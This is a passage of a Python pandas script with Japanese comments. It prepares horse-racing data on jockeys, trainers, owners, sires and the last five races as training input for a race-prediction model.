akisyu_box_fukuritu.sort_values('index')#indexがおかしいので,昇順で並べ替え\nakisyu_box_fukuritu1 = akisyu_box_fukuritu.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nakisyu_box_fukuritu1 = akisyu_box_fukuritu1.drop(['index'], axis=1)#index列削除\nachokyo_box_tanharai = achokyo_box_tanharai.sort_values('index')#indexがおかしいので,昇順で並べ替え\nachokyo_box_tanharai1 = achokyo_box_tanharai.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nachokyo_box_tanharai1 = achokyo_box_tanharai1.drop(['index'], axis=1)#index列削除\nachokyo_box_fukuharai = achokyo_box_fukuharai.sort_values('index')#indexがおかしいので,昇順で並べ替え\nachokyo_box_fukuharai1 = achokyo_box_fukuharai.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nachokyo_box_fukuharai1 = achokyo_box_fukuharai1.drop(['index'], axis=1)#index列削除\nachokyo_box_syouritu = achokyo_box_syouritu.sort_values('index')#indexがおかしいので,昇順で並べ替え\nachokyo_box_syouritu1 = achokyo_box_syouritu.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nachokyo_box_syouritu1 = achokyo_box_syouritu1.drop(['index'], axis=1)#index列削除\nachokyo_box_fukuritu = achokyo_box_fukuritu.sort_values('index')#indexがおかしいので,昇順で並べ替え\nachokyo_box_fukuritu1 = achokyo_box_fukuritu.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nachokyo_box_fukuritu1 = achokyo_box_fukuritu1.drop(['index'], axis=1)#index列削除\nabanu_box_tanharai = abanu_box_tanharai.sort_values('index')#indexがおかしいので,昇順で並べ替え\nabanu_box_tanharai1 = abanu_box_tanharai.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nabanu_box_tanharai1 = abanu_box_tanharai1.drop(['index'], axis=1)#index列削除\nabanu_box_fukuharai = abanu_box_fukuharai.sort_values('index')#indexがおかしいので,昇順で並べ替え\nabanu_box_fukuharai1 = abanu_box_fukuharai.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nabanu_box_fukuharai1 = abanu_box_fukuharai1.drop(['index'], axis=1)#index列削除\nabanu_box_syouritu = abanu_box_syouritu.sort_values('index')#indexがおかしいので,昇順で並べ替え\nabanu_box_syouritu1 = abanu_box_syouritu.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nabanu_box_syouritu1 = abanu_box_syouritu1.drop(['index'], axis=1)#index列削除\nabanu_box_fukuritu = abanu_box_fukuritu.sort_values('index')#indexがおかしいので,昇順で並べ替え\nabanu_box_fukuritu1 = abanu_box_fukuritu.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nabanu_box_fukuritu1 = abanu_box_fukuritu1.drop(['index'], axis=1)#index列削除\nasyu_box_tanharai = asyu_box_tanharai.sort_values('index')#indexがおかしいので,昇順で並べ替え\nasyu_box_tanharai1 = asyu_box_tanharai.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nasyu_box_tanharai1 = asyu_box_tanharai1.drop(['index'], axis=1)#index列削除\nasyu_box_fukuharai = asyu_box_fukuharai.sort_values('index')#indexがおかしいので,昇順で並べ替え\nasyu_box_fukuharai1 = asyu_box_fukuharai.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nasyu_box_fukuharai1 = asyu_box_fukuharai1.drop(['index'], axis=1)#index列削除\nasyu_box_syouritu = asyu_box_syouritu.sort_values('index')#indexがおかしいので,昇順で並べ替え\nasyu_box_syouritu1 = asyu_box_syouritu.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nasyu_box_syouritu1 = asyu_box_syouritu1.drop(['index'], axis=1)#index列削除\nasyu_box_fukuritu = asyu_box_fukuritu.sort_values('index')#indexがおかしいので,昇順で並べ替え\nasyu_box_fukuritu1 = asyu_box_fukuritu.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nasyu_box_fukuritu1 = asyu_box_fukuritu1.drop(['index'], axis=1)#index列削除\nat_kisyu_sample = at_kisyu_sample.sort_values('index')#indexがおかしいので,昇順で並べ替え\nat_kisyu_sample1 = at_kisyu_sample.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nat_kisyu_sample1 = at_kisyu_sample1.drop(['index'], axis=1)#index列削除\nat_chokyo_sample = at_chokyo_sample.sort_values('index')#indexがおかしいので,昇順で並べ替え\nat_chokyo_sample1 = at_chokyo_sample.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nat_chokyo_sample1 = at_chokyo_sample1.drop(['index'], axis=1)#index列削除\nat_banu_sample = at_banu_sample.sort_values('index')#indexがおかしいので,昇順で並べ替え\nat_banu_sample1 = at_banu_sample.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nat_banu_sample1 = at_banu_sample1.drop(['index'], axis=1)#index列削除\nat_syu_sample = at_syu_sample.sort_values('index')#indexがおかしいので,昇順で並べ替え\nat_syu_sample1 = at_syu_sample.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nat_syu_sample1 = at_syu_sample1.drop(['index'], axis=1)#index列削除\nat_kisyu_main = at_kisyu_main.sort_values('index')#indexがおかしいので,昇順で並べ替え\nat_kisyu_main1 = at_kisyu_main.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nat_kisyu_main1 = at_kisyu_main1.drop(['index'], axis=1)#index列削除\nat_chokyo_main = at_chokyo_main.sort_values('index')#indexがおかしいので,昇順で並べ替え\nat_chokyo_main1 = at_chokyo_main.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nat_chokyo_main1 = at_chokyo_main1.drop(['index'], axis=1)#index列削除\nat_banu_main = at_banu_main.sort_values('index')#indexがおかしいので,昇順で並べ替え\nat_banu_main1 = at_banu_main.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nat_banu_main1 = at_banu_main1.drop(['index'], axis=1)#index列削除\nat_syu_main = at_syu_main.sort_values('index')#indexがおかしいので,昇順で並べ替え\nat_syu_main1 = at_syu_main.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nat_syu_main1 = at_syu_main1.drop(['index'], axis=1)#index列削除\n#サンプル数5以下をnanに変換\nat_kisyu_sample2=at_kisyu_sample1.where(at_kisyu_sample1>5, np.nan)#5以下をnanにする\nat_chokyo_sample2=at_chokyo_sample1.where(at_kisyu_sample1>5, np.nan)\nat_banu_sample2=at_banu_sample1.where(at_kisyu_sample1>5, np.nan)\nat_syu_sample2=at_syu_sample1.where(at_kisyu_sample1>5, np.nan)\n#数値データを1にする\nat_kisyu_sample3=at_kisyu_sample2.where(at_kisyu_sample1<5, 1)#5以上を1にする\nat_chokyo_sample3=at_chokyo_sample2.where(at_kisyu_sample1<5, 1)\nat_banu_sample3=at_banu_sample2.where(at_kisyu_sample1<5, 1)\nat_syu_sample3=at_syu_sample2.where(at_kisyu_sample1<5, 1)\n#df_bool=sum((at_kisyu_sample4==5.0).sum())#足し算\n#特徴量データ×sampleデータして残すデータを決める\nakisyu_box_tanharai2=akisyu_box_tanharai1*at_kisyu_sample3\nakisyu_box_fukuharai2=akisyu_box_fukuharai1*at_kisyu_sample3\nakisyu_box_syouritu2=akisyu_box_syouritu1*at_kisyu_sample3\nakisyu_box_fukuritu2=akisyu_box_fukuritu1*at_kisyu_sample3\nachokyo_box_tanharai2=achokyo_box_tanharai1*at_chokyo_sample3\nachokyo_box_fukuharai2=achokyo_box_fukuharai1*at_chokyo_sample3\nachokyo_box_syouritu2=achokyo_box_syouritu1*at_chokyo_sample3\nachokyo_box_fukuritu2=achokyo_box_fukuritu1*at_chokyo_sample3\nabanu_box_tanharai2=abanu_box_tanharai1*at_banu_sample3\nabanu_box_fukuharai2=abanu_box_fukuharai1*at_banu_sample3\nabanu_box_syouritu2=abanu_box_syouritu1*at_banu_sample3\nabanu_box_fukuritu2=abanu_box_fukuritu1*at_banu_sample3\nasyu_box_tanharai2=asyu_box_tanharai1*at_syu_sample3\nasyu_box_fukuharai2=asyu_box_fukuharai1*at_syu_sample3\nasyu_box_syouritu2=asyu_box_syouritu1*at_syu_sample3\nasyu_box_fukuritu2=asyu_box_fukuritu1*at_syu_sample3\n#それぞれの列においてNANを残ったデータの平均で置き換え\nakisyu_box_tanharai3=akisyu_box_tanharai2.fillna(akisyu_box_tanharai2.mean())\nakisyu_box_fukuharai3=akisyu_box_fukuharai2.fillna(akisyu_box_fukuharai2.mean())\nakisyu_box_syouritu3=akisyu_box_syouritu2.fillna(akisyu_box_syouritu2.mean())\nakisyu_box_fukuritu3=akisyu_box_fukuritu2.fillna(akisyu_box_fukuritu2.mean())\nachokyo_box_tanharai3=achokyo_box_tanharai2.fillna(achokyo_box_tanharai2.mean())\nachokyo_box_fukuharai3=achokyo_box_fukuharai2.fillna(achokyo_box_fukuharai2.mean())\nachokyo_box_syouritu3=achokyo_box_syouritu2.fillna(achokyo_box_syouritu2.mean())\nachokyo_box_fukuritu3=achokyo_box_fukuritu2.fillna(achokyo_box_fukuritu2.mean())\nabanu_box_tanharai3=abanu_box_tanharai2.fillna(abanu_box_tanharai2.mean())\nabanu_box_fukuharai3=abanu_box_fukuharai2.fillna(abanu_box_fukuharai2.mean())\nabanu_box_syouritu3=abanu_box_syouritu2.fillna(abanu_box_syouritu2.mean())\nabanu_box_fukuritu3=abanu_box_fukuritu2.fillna(abanu_box_fukuritu2.mean())\nasyu_box_tanharai3=asyu_box_tanharai2.fillna(asyu_box_tanharai2.mean())\nasyu_box_fukuharai3=asyu_box_fukuharai2.fillna(asyu_box_fukuharai2.mean())\nasyu_box_syouritu3=asyu_box_syouritu2.fillna(asyu_box_syouritu2.mean())\nasyu_box_fukuritu3=asyu_box_fukuritu2.fillna(asyu_box_fukuritu2.mean())\n#メインを11年分並べる,縦に\n#騎手メイン\nkn_10_0=(pd.concat([(pd.DataFrame(at_kisyu_main1.iloc[0,:]))]*10)).rename(columns={0: 'jockey'})\nkn_10_1=pd.concat([(pd.DataFrame(at_kisyu_main1.iloc[1,:]))]*10).rename(columns={1: 'jockey'})\nkn_10_2=pd.concat([(pd.DataFrame(at_kisyu_main1.iloc[2,:]))]*10).rename(columns={2: 'jockey'})\nkn_10_3=pd.concat([(pd.DataFrame(at_kisyu_main1.iloc[3,:]))]*10).rename(columns={3: 'jockey'})\nkn_10_4=pd.concat([(pd.DataFrame(at_kisyu_main1.iloc[4,:]))]*10).rename(columns={4: 'jockey'})\nkn_10_5=pd.concat([(pd.DataFrame(at_kisyu_main1.iloc[5,:]))]*10).rename(columns={5: 'jockey'})\nkn_10_6=pd.concat([(pd.DataFrame(at_kisyu_main1.iloc[6,:]))]*10).rename(columns={6: 'jockey'})\nkn_10_7=pd.concat([(pd.DataFrame(at_kisyu_main1.iloc[7,:]))]*10).rename(columns={7: 'jockey'})\nkn_10_8=pd.concat([(pd.DataFrame(at_kisyu_main1.iloc[8,:]))]*10).rename(columns={8: 'jockey'})\nkn_10_9=pd.concat([(pd.DataFrame(at_kisyu_main1.iloc[9,:]))]*10).rename(columns={9: 'jockey'})\nkn_10_10=pd.concat([(pd.DataFrame(at_kisyu_main1.iloc[10,:]))]*10).rename(columns={10: 'jockey'})\nkn_10_all=pd.concat([kn_10_0,kn_10_1,kn_10_2,kn_10_3,kn_10_4,kn_10_5,kn_10_6,kn_10_7,kn_10_8,kn_10_9,kn_10_10])#11年分複製\nkn_10_all=kn_10_all.reset_index(drop=True)\n#調教師メイン\ncn_10_0=(pd.concat([(pd.DataFrame(at_chokyo_main1.iloc[0,:]))]*10)).rename(columns={0: 'chokyo'})\ncn_10_1=pd.concat([(pd.DataFrame(at_chokyo_main1.iloc[1,:]))]*10).rename(columns={1: 'chokyo'})\ncn_10_2=pd.concat([(pd.DataFrame(at_chokyo_main1.iloc[2,:]))]*10).rename(columns={2: 'chokyo'})\ncn_10_3=pd.concat([(pd.DataFrame(at_chokyo_main1.iloc[3,:]))]*10).rename(columns={3: 'chokyo'})\ncn_10_4=pd.concat([(pd.DataFrame(at_chokyo_main1.iloc[4,:]))]*10).rename(columns={4: 'chokyo'})\ncn_10_5=pd.concat([(pd.DataFrame(at_chokyo_main1.iloc[5,:]))]*10).rename(columns={5: 'chokyo'})\ncn_10_6=pd.concat([(pd.DataFrame(at_chokyo_main1.iloc[6,:]))]*10).rename(columns={6: 'chokyo'})\ncn_10_7=pd.concat([(pd.DataFrame(at_chokyo_main1.iloc[7,:]))]*10).rename(columns={7: 'chokyo'})\ncn_10_8=pd.concat([(pd.DataFrame(at_chokyo_main1.iloc[8,:]))]*10).rename(columns={8: 'chokyo'})\ncn_10_9=pd.concat([(pd.DataFrame(at_chokyo_main1.iloc[9,:]))]*10).rename(columns={9: 'chokyo'})\ncn_10_10=pd.concat([(pd.DataFrame(at_chokyo_main1.iloc[10,:]))]*10).rename(columns={10: 'chokyo'})\ncn_10_all=pd.concat([cn_10_0,cn_10_1,cn_10_2,cn_10_3,cn_10_4,cn_10_5,cn_10_6,cn_10_7,cn_10_8,cn_10_9,cn_10_10])#11年分複製\ncn_10_all=cn_10_all.reset_index(drop=True)\n#馬主メイン\nbn_10_0=(pd.concat([(pd.DataFrame(at_banu_main1.iloc[0,:]))]*10)).rename(columns={0: 'banushi'})\nbn_10_1=pd.concat([(pd.DataFrame(at_banu_main1.iloc[1,:]))]*10).rename(columns={1: 'banushi'})\nbn_10_2=pd.concat([(pd.DataFrame(at_banu_main1.iloc[2,:]))]*10).rename(columns={2: 'banushi'})\nbn_10_3=pd.concat([(pd.DataFrame(at_banu_main1.iloc[3,:]))]*10).rename(columns={3: 'banushi'})\nbn_10_4=pd.concat([(pd.DataFrame(at_banu_main1.iloc[4,:]))]*10).rename(columns={4: 'banushi'})\nbn_10_5=pd.concat([(pd.DataFrame(at_banu_main1.iloc[5,:]))]*10).rename(columns={5: 'banushi'})\nbn_10_6=pd.concat([(pd.DataFrame(at_banu_main1.iloc[6,:]))]*10).rename(columns={6: 'banushi'})\nbn_10_7=pd.concat([(pd.DataFrame(at_banu_main1.iloc[7,:]))]*10).rename(columns={7: 'banushi'})\nbn_10_8=pd.concat([(pd.DataFrame(at_banu_main1.iloc[8,:]))]*10).rename(columns={8: 'banushi'})\nbn_10_9=pd.concat([(pd.DataFrame(at_banu_main1.iloc[9,:]))]*10).rename(columns={9: 'banushi'})\nbn_10_10=pd.concat([(pd.DataFrame(at_banu_main1.iloc[10,:]))]*10).rename(columns={10: 'banushi'})\nbn_10_all=pd.concat([bn_10_0,bn_10_1,bn_10_2,bn_10_3,bn_10_4,bn_10_5,bn_10_6,bn_10_7,bn_10_8,bn_10_9,bn_10_10])#11年分複製\nbn_10_all=bn_10_all.reset_index(drop=True)\n#種牡馬メイン\nsbn_10_0=(pd.concat([(pd.DataFrame(at_syu_main1.iloc[0,:]))]*10)).rename(columns={0: 'syuboba'})\nsbn_10_1=pd.concat([(pd.DataFrame(at_syu_main1.iloc[1,:]))]*10).rename(columns={1: 'syuboba'})\nsbn_10_2=pd.concat([(pd.DataFrame(at_syu_main1.iloc[2,:]))]*10).rename(columns={2: 'syuboba'})\nsbn_10_3=pd.concat([(pd.DataFrame(at_syu_main1.iloc[3,:]))]*10).rename(columns={3: 'syuboba'})\nsbn_10_4=pd.concat([(pd.DataFrame(at_syu_main1.iloc[4,:]))]*10).rename(columns={4: 'syuboba'})\nsbn_10_5=pd.concat([(pd.DataFrame(at_syu_main1.iloc[5,:]))]*10).rename(columns={5: 'syuboba'})\nsbn_10_6=pd.concat([(pd.DataFrame(at_syu_main1.iloc[6,:]))]*10).rename(columns={6: 'syuboba'})\nsbn_10_7=pd.concat([(pd.DataFrame(at_syu_main1.iloc[7,:]))]*10).rename(columns={7: 'syuboba'})\nsbn_10_8=pd.concat([(pd.DataFrame(at_syu_main1.iloc[8,:]))]*10).rename(columns={8: 'syuboba'})\nsbn_10_9=pd.concat([(pd.DataFrame(at_syu_main1.iloc[9,:]))]*10).rename(columns={9: 'syuboba'})\nsbn_10_10=pd.concat([(pd.DataFrame(at_syu_main1.iloc[10,:]))]*10).rename(columns={10: 'syuboba'})\nsbn_10_all=pd.concat([sbn_10_0,sbn_10_1,sbn_10_2,sbn_10_3,sbn_10_4,sbn_10_5,sbn_10_6,sbn_10_7,sbn_10_8,sbn_10_9,sbn_10_10])#11年分複製\nsbn_10_all=sbn_10_all.reset_index(drop=True)\n#水平結合 yearも\ndef matome_index(matome,index):\n torima=pd.DataFrame((akisyu_box_tanharai3.index.values//500)+2011)\n torima=(torima.rename(columns={0: 'datayear'}))\n return pd.concat([matome,index,torima],axis=1)\n\nakisyu_box_tanharai4=matome_index(akisyu_box_tanharai3,kn_10_all)\nakisyu_box_fukuharai4=matome_index(akisyu_box_fukuharai3,kn_10_all)\nakisyu_box_syouritu4=matome_index(akisyu_box_syouritu3,kn_10_all)\nakisyu_box_fukuritu4=matome_index(akisyu_box_fukuritu3,kn_10_all)\nachokyo_box_tanharai4=matome_index(achokyo_box_tanharai3,cn_10_all)\nachokyo_box_fukuharai4=matome_index(achokyo_box_fukuharai3,cn_10_all)\nachokyo_box_syouritu4=matome_index(achokyo_box_syouritu3,cn_10_all)\nachokyo_box_fukuritu4=matome_index(achokyo_box_fukuritu3,cn_10_all)\nabanu_box_tanharai4=matome_index(abanu_box_tanharai3,bn_10_all)\nabanu_box_fukuharai4=matome_index(abanu_box_fukuharai3,bn_10_all)\nabanu_box_syouritu4=matome_index(abanu_box_syouritu3,bn_10_all)\nabanu_box_fukuritu4=matome_index(abanu_box_fukuritu3,bn_10_all)\nasyu_box_tanharai4=matome_index(asyu_box_tanharai3,sbn_10_all)\nasyu_box_fukuharai4=matome_index(asyu_box_fukuharai3,sbn_10_all)\nasyu_box_syouritu4=matome_index(asyu_box_syouritu3,sbn_10_all)\nasyu_box_fukuritu4=matome_index(asyu_box_fukuritu3,sbn_10_all)\n#AI学習用データの作成,総まとめ編\n#u_umaとかとくっつけて(index,year,kisyu,banu,sho,syu),それを5走の形にしてデータ作成\ntokutyo_moto0 = tokutyo_moto.sort_values('index')#indexがおかしいので,昇順で並べ替え\ntokutyo_moto1 = tokutyo_moto0.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\ntokutyo_moto1 = tokutyo_moto1.drop(['index'], axis=1)#index列削除\ntokutyo_moto1=tokutyo_moto1.reset_index()#indexを与える\ntokutyo_moto2=tokutyo_moto1.loc[:, ['index','year', 'chokyosiryakusyo','banusiname', 'kisyuryakusyo','father']]\n\n#今後の予定列の名前みて,akisyu_box_tanharai4などを水平に結合する これやる\n\nprocess_time = time.time() - start\nprint(process_time)\n# endregion\n\n# region inputdata_generator:inputdataを過去5走分作成してDBに出力するスクリプト もともと②だったやつ スピード指数はここに格納 Wall time: 20h 18min 39s\n# inputdata_generator:inputdataを過去5走分作成してDBに出力するスクリプト もともと②だったやつ スピード指数はここに格納 Wall time: 20h 18min 39s\n# ② AI用のデータセットを作成し下記12回に分割してDBに保存する。6走分の馬柱を作成するイメージ\n# 対象レースの馬柱(0走前)⇒1走前⇒2走前⇒3走前⇒4走前⇒5走前\n# 対応する詳細⇒1走前対応する詳細⇒2走前対応する詳細⇒3走前対応する詳細⇒4走前対応する詳細⇒5走前対応する詳細\n\n# ⓪データの準備 Wall time: 14.6 s\n# データを格納する用のlist作成,listの中にlistが222個,228個存在\n# n_uma_raceから必要なデータを抽出し,並べ替えを行う\nn_uma_race_a0 = n_uma_race.loc[:,['year', 'monthday', 'jyocd', 'kaiji', 'nichiji', 'racenum', 'wakuban', 'umaban', 'kettonum', 'bamei','sexcd','barei', 'tozaicd', 'chokyosiryakusyo', 'banusiname', 'futan', 'kisyuryakusyo', 'bataijyu', \\\n'zogenfugo', 'zogensa', 'ijyocd', 'kakuteijyuni', 'time', 'chakusacd', 'jyuni1c', 'jyuni2c', 'jyuni3c','jyuni4c','odds', 'ninki', 'honsyokin', 'zogensa', 'harontimel3',\n'kettonum1', 'bamei1', 'timediff','kyakusitukubun']]\n# スピード指数も取り出してデータの結合行う\nspped_from_db = spped_from_db.sort_values('index') # indexがおかしいので,昇順で並べ替え\nspped_from_db1 = spped_from_db.reset_index(drop=True) # 一番左のindexをindexに合わせて振りなおし。\nn_uma_race_a = pd.concat([n_uma_race_a0, spped_from_db1['speed_idx']], axis=1) # 結合 914907 rows × 38 columns\n# いらない変数削除\ndel n_uma_race_a0, spped_from_db1\ndel spped_from_db # ちょっと回すときはコメントアウト\n# データをレース順で並びかえる,まずは並べ替え用データを作成する はやくなったはず\nn_uma_race_a['tuika'] = n_uma_race_a['year'] + n_uma_race_a['monthday'] + n_uma_race_a['jyocd'] + n_uma_race_a['nichiji'] + n_uma_race_a['racenum'] + n_uma_race_a['umaban']\nn_uma_race_b = n_uma_race_a.sort_values('tuika') # 昇順で並べ替え\nn_uma_race_c = n_uma_race_b.reset_index() # index振りなおす\nn_uma_race_1 = n_uma_race_c.drop(columns=['tuika']) # いらん列削除で並べ替え完了\nn_uma_race_1['index1'] = n_uma_race_1['index'] # 最終列にindex追加\nn_uma_race_1 = n_uma_race_1.drop('index', axis=1) # index列消す\nn_uma_race_col_len = len(n_uma_race_1.columns) # 特徴量の数\n# いらない変数削除\ndel n_uma_race_a, n_uma_race_b, n_uma_race_c\n# n_raceから必要なデータを抽出する\nn_race_0 = n_race.loc[:,\n ['jyokencd5', 'trackcd', 'kyori', 'sibababacd', 'dirtbabacd', 'monthday', 'laptime1', 'laptime2', 'laptime3',\n 'laptime4', 'laptime5', 'laptime6', 'laptime7', 'laptime8', 'laptime9', 'laptime10', 'laptime11',\n 'laptime12', 'laptime13','laptime14', 'laptime15', 'laptime16', 'laptime17', 'laptime18', 'syussotosu', 'corner1', 'syukaisu1',\n 'jyuni1','corner2', 'syukaisu2', 'jyuni2', 'corner3', 'syukaisu3', 'jyuni3', 'corner4', 'syukaisu4', 'jyuni4','ryakusyo6']]\nn_race_1 = n_race_0.reset_index() # index振りなおす\nn_race_1['index1'] = n_race_1['index'] # 最終列にindex追加\nn_race_1 = n_race_1.drop('index', axis=1) # index列消す\nn_race_1_col_len = len(n_race_1.columns) # 特徴量の数\n# いらない変数削除\ndel n_race_0\n# 全馬の血統番号だけをn_uma_race_1から抽出,これで馬を検索する\nmap_ketto = n_uma_race_1.loc[:, ['kettonum']]\n# pandasをnumpyに変換する ここからデータを抽出 高速化用\nnp_uma_race = np.array(n_uma_race_1)\nnp_race = np.array(n_race_1)\nnp_map_ketto = np.array(map_ketto)\n# レースIDの一覧を2つ作成 n_raceから一致するデータを取得する用\nraceID_uma = np.array(\n n_uma_race_1['year'] + n_uma_race_1['monthday'] + n_uma_race_1['jyocd'] + n_uma_race_1['kaiji'] + n_uma_race_1[\n 'nichiji'] + n_uma_race_1['racenum'])\nraceID_race = np.array(\n n_race['year'] + n_race['monthday'] + n_race['jyocd'] + n_race['kaiji'] + n_race['nichiji'] + n_race['racenum'])\n# 格納するlist作成\nlist_list = [[] for torima in range(n_uma_race_col_len * 6)] # n_uma_race用\nlist_match = [[] for torima in range(n_race_1_col_len * 6)] # n_race用\n\n# ①馬柱データの作成\nfor i in range(len(n_uma_race_1)): # 2010年からのレースについて馬柱の作成を実行する 914907 rows × 38 columns 10000につき12分\n if i % 100000 == 0:\n print(i)\n # ①-①n_uma_raceについての処理\n ketto_index = np.where(np_map_ketto == np_map_ketto[i]) # 全レース(n_uma_race)から対象の馬のレースが存在する行のindexを全て取得\n ketto_basyo = (list(ketto_index[0]).index(i)) # 対象の馬のレースが全レース(n_uma_race)のなかで何番目に位置するかを取得 5とでれば理想\n # pandas用のデータはlistで取得する\n # データあれば対象の馬情報をすべて取得、なければnan 0走前\n flag_0 = ketto_index[0][ketto_basyo - 0] if ketto_basyo - 0 >= 0 else -10 # 0走前のindexの場所を取得 \n data_0 = list(np_uma_race[(flag_0)]) if ketto_basyo - 0 >= 0 else [np.nan] * n_uma_race_col_len # 0走前のデータを行で取得 \n # データあれば対象の馬情報をすべて取得、なければnan 1走前\n flag_1 = ketto_index[0][ketto_basyo - 1] if ketto_basyo - 1 >= 0 else -10 # indexの場所を取得\n data_1 = list(np_uma_race[(flag_1)]) if ketto_basyo - 1 >= 0 else [np.nan] * n_uma_race_col_len\n # データあれば対象の馬情報をすべて取得、なければnan 2走前\n flag_2 = ketto_index[0][ketto_basyo - 2] if ketto_basyo - 2 >= 0 else -10 # indexの場所を取得\n data_2 = list(np_uma_race[(flag_2)]) if ketto_basyo - 2 >= 0 else [np.nan] * n_uma_race_col_len\n # データあれば対象の馬情報をすべて取得、なければnan 3走前\n flag_3 = ketto_index[0][ketto_basyo - 3] if ketto_basyo - 3 >= 0 else -10 # indexの場所を取得\n data_3 = list(np_uma_race[(flag_3)]) if ketto_basyo - 3 >= 0 else [np.nan] * n_uma_race_col_len\n # データあれば対象の馬情報をすべて取得、なければnan 4走前\n flag_4 = ketto_index[0][ketto_basyo - 4] if ketto_basyo - 4 >= 0 else -10 # indexの場所を取得\n data_4 = list(np_uma_race[(flag_4)]) if ketto_basyo - 4 >= 0 else [np.nan] * n_uma_race_col_len\n # データあれば対象の馬情報をすべて取得、なければnan 5走前\n flag_5 = ketto_index[0][ketto_basyo - 5] if ketto_basyo - 5 >= 0 else -10 # indexの場所を取得\n data_5 = list(np_uma_race[(flag_5)]) if ketto_basyo - 5 >= 0 else [np.nan] * n_uma_race_col_len\n # リストの結合 222列存在\n data_mix = data_0 + data_1 + data_2 + data_3 + data_4 + data_5\n # リスト内リストに格納する\n for torima in range(n_uma_race_col_len * 6): # 特徴量×6回分(0~5走)\n list_list[torima] += [data_mix[torima]]\n\n # ①-②n_raceについての処理\n # データを格納する\n if flag_0 != -10 and (raceID_uma[flag_0] == raceID_race).any(): # データが存在し、n_umaのレースがm_raceにあるかを確認している\n ket = np.where(raceID_race == raceID_uma[flag_0]) # 同じ馬を取得n_umaがn_raceでどの行に存在するかを取得\n match_0 = list(np_race[ket[0][0]]) # 対象データを行で取得\n else:\n match_0 = [np.nan] * n_race_1_col_len\n if flag_1 != -10 and (raceID_uma[flag_1] == raceID_race).any():\n ket = np.where(raceID_race == raceID_uma[flag_1]) # 同じ馬を取得\n match_1 = list(np_race[ket[0][0]]) # 対象データの取得\n else:\n match_1 = [np.nan] * n_race_1_col_len\n if flag_2 != -10 and (raceID_uma[flag_2] == raceID_race).any():\n ket = np.where(raceID_race == raceID_uma[flag_2]) # 同じ馬を取得\n match_2 = list(np_race[ket[0][0]]) # 対象データの取得\n else:\n match_2 = [np.nan] * n_race_1_col_len\n if flag_3 != -10 and (raceID_uma[flag_3] == raceID_race).any():\n ket = np.where(raceID_race == raceID_uma[flag_3]) # 同じ馬を取得\n match_3 = list(np_race[ket[0][0]]) # 対象データの取得\n else:\n match_3 = [np.nan] * n_race_1_col_len\n if flag_4 != -10 and (raceID_uma[flag_4] == raceID_race).any():\n ket = np.where(raceID_race == raceID_uma[flag_4]) # 同じ馬を取得\n match_4 = list(np_race[ket[0][0]]) # 対象データの取得\n else:\n match_4 = [np.nan] * n_race_1_col_len\n if flag_5 != -10 and (raceID_uma[flag_5] == raceID_race).any():\n ket = np.where(raceID_race == raceID_uma[flag_5]) # 同じ馬を取得\n match_5 = list(np_race[ket[0][0]]) # 対象データの取得\n else:\n match_5 = [np.nan] * n_race_1_col_len\n # リストの結合 228列存在\n match_mix = match_0 + match_1 + match_2 + match_3 + match_4 + match_5\n # リスト内リストに格納する\n for torima in range(n_race_1_col_len * 6):\n list_match[torima] += [match_mix[torima]]\n\n# いらない変数削除\ndel n_uma_race, n_race, n_uma_race_1, n_race_1, map_ketto, np_uma_race, np_map_ketto, np_race, raceID_uma, raceID_race\n\n# ②-①Input_Data_UmaデータをDBに格納\nfor bango in range(6): # 0~5走前 ここは手動要素あり\n kasan = n_uma_race_col_len * bango # listのどこからとるか指定\n\n cre_data = pd.DataFrame(\n data={str(bango) + 'year': list_list[0 + kasan], str(bango) + 'monthday': list_list[1 + kasan],\n str(bango) + 'jyocd': list_list[2 + kasan], \\\n str(bango) + 'kaiji': list_list[3 + kasan], str(bango) + 'nichiji': list_list[4 + kasan],\n str(bango) + 'racenum': list_list[5 + kasan], str(bango) + 'wakuban': list_list[6 + kasan], \\\n str(bango) + 'umaban': list_list[7 + kasan], str(bango) + 'kettonum': list_list[8 + kasan],\n str(bango) + 'bamei': list_list[9 + kasan], str(bango) + 'sexcd': list_list[10 + kasan], \\\n str(bango) + 'barei': list_list[11 + kasan], str(bango) + 'tozaicd': list_list[12 + kasan],\n str(bango) + 'chokyosiryakusyo': list_list[13 + kasan], str(bango) + 'banusiname': 